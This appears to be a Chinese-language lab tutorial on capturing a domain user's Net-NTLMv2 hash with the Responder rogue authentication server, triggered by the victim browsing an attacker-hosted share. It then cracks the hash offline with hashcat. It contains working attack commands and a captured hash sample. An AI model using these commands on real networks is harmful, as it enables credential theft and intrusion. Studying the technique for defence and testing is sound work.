-
攻击者(kali):192.168.72.162
-
受害者(administrator):192.168.72.163
因为 NTLM 身份验证是通过计算正确的挑战值得出的,所以如果我们能获取域用户的 NTLM 认证某一服务的 Net-NTLM v2 Hash 就能保存下来,离线破解。这是因为 Net-NTLM v2 Hash 中既包含 Server Challenge,也包含 NTProofStr ,所以使用公开的算法 + 要爆破的字典 + Server Challenge 运算后得到的 NTProofStr 与 Net-NTLM v2 Hash 中的一致,既能说明密码正确。
其流程如下:
-
抓取用户的 Net-NTLM v2 Hash 。
-
保存下来进行离线爆破。
抓取用户的 Net-NTLM v2 Hash
通常是自己开一个由 NTLM 认证的脚本服务器,然后通过其他方式(如:钓鱼、打印机漏洞等)使目标用户触发对脚本服务器的认证。这里就不演示漏洞或钓鱼的过程。
使用 Responder 作为 NTLM 认证的脚本服务器:GitHub - SpiderLabs/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. ,使用如下命令开启 Responder 监听:
python2 ./Responder.py -I eth0 -f -v
受害者触发对 Responder 的 NTLM 认证:
在受害者机器(192.168.72.163)上的 cmd 窗口输入:dir \\192.168.72.162\c$
Responder 抓取到 Net-NTLM v2 Hash :
ADMINISTRATOR::HACKER:1122334455667788:ef775ca457bbedf4d3ca9d002de4dd98:0101000000000000efbc45e03751db0138484e501d3642150000000002000a0053004d0042003100320001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d004200310032000800300030000000000000000000000000300000a02e3643693022f1b7244a7514f4bd535ac40eb30eacec7e11f3e692dae1c5430a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00370032002e003100360032000000000000000000
hashcat离线爆破
hashcat -m 5600 Administrator::HACKER:1122334455667788:EF775CA457BBEDF4D3CA9D002DE4DD98:0101000000000000EFBC45E03751DB0138484E501D3642150000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000A02E3643693022F1B7244A7514F4BD535AC40EB30EACEC7E11F3E692DAE1C5430A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00370032002E003100360032000000000000000000 wordlists.txt --force